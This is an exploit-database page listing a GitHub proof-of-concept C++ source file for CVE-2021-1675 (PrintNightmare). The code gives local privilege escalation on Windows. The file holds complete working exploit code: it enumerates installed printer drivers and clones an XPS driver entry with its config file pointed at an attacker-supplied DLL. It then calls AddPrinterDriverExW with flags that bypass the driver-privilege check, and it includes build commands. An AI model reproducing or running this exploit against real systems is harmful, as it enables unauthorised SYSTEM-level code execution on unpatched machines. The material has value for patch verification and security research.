Exploit database

GH-6eed0f55f05df848047d07c62f518c17

andrewtrube/cve-2021-1675

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-1675

56 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
andrewtrube/cve-2021-1675Revision 429de5d489b1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/nightmare.cpp

C++ · 5,048 bytes
///////////////////////////////////////////////////////////////////////////////////
//            **-- CVE-2021-1675 Local Privilege Escalation --**                 //
//                                                                               //
// Copyright (c) 2020 Andrew Trube  <https://github.com/AndrewTrube>             //
//                                                                               //
// Permission is hereby granted, free of charge, to any person obtaining a copy  //
// of this software and associated documentation files (the "Software"), to deal //
// in the Software without restriction, including without limitation the rights  //
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell     //
// copies of the Software, and to permit persons to whom the Software is         //
// furnished to do so, subject to the following conditions:                      //
//                                                                               //
// The above copyright notice and this permission notice shall be included in all//
// copies or substantial portions of the Software.                               //
//                                                                               //                                              
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR    //
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,      //
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE   //
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER        //
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, //
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE //
// SOFTWARE.                                                                     //
//                                                                               //
///////////////////////////////////////////////////////////////////////////////////

/*
Print Nightmare - CVE-2021-1675 (LPE) POC
Tested on Windows 10.0.10240 N/A Build 10240 x64
Compiler options:
x86_64-w64-mingw32-g++-win32 -o ./src/nightmare.o -c -g -Wall ./src/nightmare.cpp
x86_64-w64-mingw32-g++-win32 -o ./bin/PrintNightmareLPE.exe ./src/nightmare.o -lws2_32 -static-libgcc -static-libstdc++ -lole32 -lwinspool
*/

#ifndef UNICODE
#define UNICODE
#endif 

#include <iostream>
#include <windows.h>
#include <winspool.h>
#include <vector>

using namespace std;

// need the count and the allocated heap space(to free it later) to be global
DWORD dwPrinterCount;
HANDLE hProcessHeap = GetProcessHeap();

PDRIVER_INFO_2 getDriverInfo(void)
{
  DWORD dwSizeNeeded;
  BOOL bEnumResult;
  PDRIVER_INFO_2 lpPrinterData;

  // call once to find buffer size
  EnumPrinterDriversW(NULL, NULL, 2, NULL, 0, &dwSizeNeeded, &dwPrinterCount);

  // allocate buffer memory
  if ((lpPrinterData = (PDRIVER_INFO_2)HeapAlloc(hProcessHeap, 
    	HEAP_ZERO_MEMORY, dwSizeNeeded)) == NULL) 
  {
	// error
      cout << "error: " << GetLastError() << endl;
	  exit(1);
  }
// call again with new buffer size
  bEnumResult = EnumPrinterDriversW (NULL,
    NULL,
	2,
	(LPBYTE)lpPrinterData,
	dwSizeNeeded,
	&dwSizeNeeded,
	&dwPrinterCount);

  if (bEnumResult) {
	if (dwPrinterCount == 0) {
		// no printers installed
		HeapFree(hProcessHeap, 0, lpPrinterData);
        cout << "no printers" << endl;
		exit(0);
	}
	
  }
    
  if ((lpPrinterData[0].pName == NULL))
  {
      cout << "error: " << GetLastError() << endl;
      exit(1);
  }
  // got data, print it out
  
  for(int i = 0; i < (int) dwPrinterCount; i++)
  {
  wcout << L"--------------------------------" << endl;
  wcout <<  lpPrinterData[i].pName << endl;
  wcout <<  lpPrinterData[i].pEnvironment << endl;
  wcout <<  lpPrinterData[i].pDriverPath << endl;
  wcout <<  lpPrinterData[i].pDataFile << endl;
  wcout <<  lpPrinterData[i].pConfigFile << endl;
  wcout << L"--------------------------------\n" << endl;
  }
  
  return lpPrinterData;
}

int main(void)
{
  DWORD printer;
  PDRIVER_INFO_2 winDrv = getDriverInfo();
  DRIVER_INFO_2 evil;

  for(printer = 0; printer < dwPrinterCount; printer++)
  {
    if(wcsstr(winDrv[printer].pName, L"XPS") != NULL)
    {
        cout << "driver found" << endl;
        wcout << winDrv[printer].pName << endl;
        break;
    }
    else
    {
      cout << "default M$ Print drivers not found" << endl;
      exit(2);
    }
  }

  evil = winDrv[printer];

  evil.pName = (LPWSTR) L"ELM ST";
  evil.pConfigFile = (LPWSTR) L"c:\\Windows\\Temp\\evil.dll"; /* change this to attacker supplied local path */
  evil.cVersion = (DWORD) 1;

  if((AddPrinterDriverExW(NULL,2,(LPBYTE)&evil, APD_COPY_ALL_FILES | 0x10 | 0x8000)) != 0) /*AuthBypass when copyfile Flags set SeDriverPriv auth check bit to 0 */
  {
    cout << "exploit complete" << endl;
  } 
  else
  {
    cout << "error: " << GetLastError() << endl;
    exit(1);
  }
  HeapFree(hProcessHeap, 0, winDrv);
  return 0;
}